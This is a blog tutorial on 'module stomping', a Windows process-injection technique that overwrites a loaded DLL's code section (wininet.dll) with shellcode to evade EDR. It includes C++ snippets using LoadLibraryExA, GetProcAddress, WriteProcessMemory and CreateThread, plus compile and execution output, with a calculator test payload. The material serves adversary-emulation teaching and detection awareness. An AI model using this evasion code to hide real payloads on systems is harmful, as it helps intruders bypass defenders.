An Introduction to Module Stomping
Overwriting DLLs for Windows Process InjectionBackgroundContextIn modern adversary emulation, generi 2026-6-7 14:40:30 Author: infosecwriteups.com(查看原文) 阅读量:15 收藏

Overwriting DLLs for Windows Process Injection

Tom O'Neill

Background

Context

In modern adversary emulation, generic process-injection techniques are closely scrutinized. Legacy approaches like cross-process thread creation with unbacked memory regions trigger immediate behavioral telemetry and get instantly popped by memory scanners.

To bypass these hurdles, we need to slide past detection. Enter Module Stomping, a technique that involves overwriting the .text section of a loaded, signed DLL to hide our payload inside a disk-backed memory region.

Press enter or click to view image in full size

CHA CHA NOW YA’LL

In this post, I will outline the basic workflow and some common primitives used in module stomping for Windows process injection.

Tools

All module stomping code referenced in this post can be found in the ‘module-injection’ folder in my ‘windows-process-injection’ repository.

SystemInformer can optionally be used to follow the workflow and will be covered in the example PoC section of this post.

Module Stomping

Workflow & Primitives

The following is an outline of a common module stomping workflow.

  • Step One: Identify a target module or use LoadLibraryExA to load a ‘sacrificial’ module to serve as the stomping target.
  • Step Two: Identify an address within the target module’s address space to write our buffer (typically by locating a specific exported function via GetProcAddress).
  • Step Three: Write our buffer to the address from Step Two with WriteProcessMemory.
  • Step Four: Create a new thread using the buffer address from Step Two with CreateThread.

While this foundational workflow is completely functional, a stock implementation like this leaves a massive trail of Indicators of Compromise (IoCs). In the sections below, we’ll analyze how this basic approach trips modern defenses, and how we can modify the code to obscure both static and dynamic signatures.

Proof-of-Concept

Local Stomping

The cleanest way to map out this tradecraft is by executing it within our current process context. This keeps our debugging loop simple and focuses purely on the memory manipulation itself. Let’s break down the core logic using the local-stomp.cpp source file from the ‘Windows Process Injection’ repository.

First, we need to open a handle to the current process using OpenProcess.

// Open a handle to the current process
HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
if(pHandle == NULL) {
printf("Failed to acquire process handle!\n");
return -1;
}
printf("[*] Successfully opened handle to PID: %u\n", pid);

Now that we have a handle, we need to either locate or load the target module.

For this demonstration, we’ll load wininet.dll; it’s fairly large and so it can accommodate testing different payloads. Using LoadLibraryExA is not always a good idea, but it is helpful for demonstrating the concept.

// load sacrificial DLL, using wininet because it is fairly large and so it can accomodate different PoC payloads
HMODULE hSacrificialDll = LoadLibraryExA("wininet.dll", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (hSacrificialDll == NULL) {
printf("[ERROR] Failed to obtain DLL handle! Error: %lu\n", GetLastError());
return -1;
}
printf("[*] Target DDL loaded.\n");

We need to identify the .text section of the module. We can either locate the section itself or search the module for a specific function.

Get Tom O'Neill’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

For the sake of demonstration, we will leverage the GetProcAddresss function. We pass a handle to the module and the function name we want to locate, and it will return the address.

LPVOID targetAddress = (LPVOID)GetProcAddress(hSacrificialDll, "CommitUrlCacheEntryW");  
if (targetAddress == NULL) {
printf("[ERROR] Failed to locate target function CommitUrlCacheEntryW! Error: %lu\n", GetLastError());
return -1;
}
printf("[*] Target wininet.dll!CommitUrlCacheEntryW located at: : 0x%016llx\n", targetAddress);

Now that we have a target address, we can overwrite module code with our own buffer by using targetAddress as the destination parameter for WriteProcessMemory.

// Write the shellcode to the block of memory that we allocated with VirtualAllocEx
BOOL writeShellcode = WriteProcessMemory(pHandle, targetAddress, buf, sizeof buf, NULL);
if(writeShellcode == false) {
printf("[ERROR] Failed to write shellcode! Using addresss: 0x%016llx, Error: %lu\n", targetAddress, GetLastError());
FreeLibrary(hSacrificialDll);
return -1;
}

Finally, execute our buffer by creating a new thread, using the targetAddress value as the lpStartAddress parameter for CreateThread.

// Create a new thread using the shellcode buffer address as the starting point
HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)targetAddress, NULL, 0, NULL);
if (tHandle == NULL) {
printf("[ERROR] Failed to create thread within the process (PID: %u)! Error: %lu\n", pid, GetLastError());
FreeLibrary(hSacrificialDll);
return -1;
}

Compile

Compile the local-stomp.cpp example code and suppress warnings.

windows-process-injection\module-stomping>cl.exe local-stomp.cpp /W0
Microsoft (R) C/C++ Optimizing Compiler Version 19.16.27054 for x64
Copyright (C) Microsoft Corporation. All rights reserved.

local-stomp.cpp
Microsoft (R) Incremental Linker Version 14.16.27054.0
Copyright (C) Microsoft Corporation. All rights reserved.

/out:local-stomp.exe
local-stomp.obj

windows-process-injection\module-stomping>

Execute & Validate

The PoC includes pauses to help track the workflow. In this example, we will use SystemInformer (previously ProcessHacker) to illustrate the process.

  • Run local-stomp.exe and pause at the first prompt to openSystemInformer and locate the process using the PID from the output.
windows-process-injection\module-stomping>local-stomp.exe
[*] Running PI with target PID: 1100
[*] Successfully opened handle to PID: 1100
[*] Press Enter to load the sacrificial DLL: <Enter>
  • Double-click on the process from the list and, in the process Properties panel, open the ‘Modules’ tab. Note that at this point, only kernel32.dll and ntdll.dll have been loaded.

Press enter or click to view image in full size

Baseline modules for our simple executable.
  • Back at the console, press Enter to resume the process and load the sacrificial DLL wininet.dll and locate the CommitUrlCacheEntryW function.
windows-process-injection\module-stomping>local-stomp.exe
[*] Running PI with target PID: 1100
[*] Successfully opened handle to PID: 1100
[*] Press Enter to load the sacrificial DLL: <Enter>
[*] Target DLL loaded.
[*] Target wininet.dll!CommitUrlCacheEntryW located at: 0x00007ff917297f30
[*] Press Enter to write the shellcode:
  • In the console output, note the function’s address:0x00007ff917297f30. Back in SystemInformer, review the ‘Modules’ list. It should contain a new entry for wininet.dll.
Refreshed module list shows the wininet.dll module
  • Switch to the ‘Memory’ tab in SystemInformer and sort by ‘Base Address’. Locate the .text section of the target module by looking for the section that contains the function address (hint: it should have a ‘Use’ value of ‘C:\Windows\System32\wininet.dll’ with RXprotection).

Press enter or click to view image in full size

Locating the .text section of wininet.dll based on properties
  • Right-click and copy the ‘Base Address’ of this section. In this case, the address was 0x7ff917221000
  • Subtract the function address from the section base to obtain the offset 0x00007ff917297f30 - 0x00007ff917221000 = 0x76F30
  • Double-click the Memory entry to view the contents. When the window loads, click the ‘Go to…’ button and enter the offset found when subtracting the function from the module base RVA. (0x76F30). The code has not been tampered with and contains legitimate wininet.dll code.
Baseline module code that has not been tampered with
  • Back at the console, press ‘Enter’ to write the shellcode to the target address
...
[*] Target wininet.dll!CommitUrlCacheEntryW located at: 0x00007ff917297f30
[*] Press Enter to write the shellcode: <Enter>
  • Back in SystemInformer, in the ‘Memory’ tab, click the ‘Re-read’ button to refresh the memory at the target address. It should now reflect the bytes from our buffer.
Updated memory shows our payload bytes and the calc.exe string
  • Press ‘Enter’ one last time and confirm that the payload executes. Unless replaced, the shellcode is the Win32 calculator payload from Metasploit’s msfvenom.
...
[*] Press Enter to write the shellcode: <Enter>
[*] Press Enter to execute the shellcode: <Enter>
[*] Waiting for the thread to return...
[*] Process injection complete.

windows-process-injection\module-stomping>

Press enter or click to view image in full size

Full execution resulting in a…calculator!

Conclusion

Summary

  • Module stomping successfully circumvents traditional allocation traps by hiding payloads directly within the .text section of legitimate DLLs.
  • Module stomping is a valuable tool for Windows process injection.
  • While highly functional as a baseline injection primitive, a vanilla implementation introduces secondary Indicators of Compromise (IoCs) via static imports and API strings.
  • Modern EDR platforms and memory scanners don’t just look for unbacked memory; they actively perform verification checks to spot when a loaded module’s in-memory bytes deviate from its on-disk image.

Next Steps

Enhancements

While this foundational implementation gets our code running under the guise of a legitimate DLL, it leaves obvious footprints. In the next post, we will look at moving beyond basic local execution to explore:

  • Remote Module Stomping: Orchestrating this dance inside a remote target process.
  • Dynamic Function Resolution: Using PEB-walking techniques to reduce static IoCs and avoid highly scrutinized APIs.
  • Targeted Stomping Workflow: Custom tooling to support a workflow for identifying the best target for module stomping operations.

References


文章来源: https://infosecwriteups.com/an-introduction-to-module-stomping-26238af76d43?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh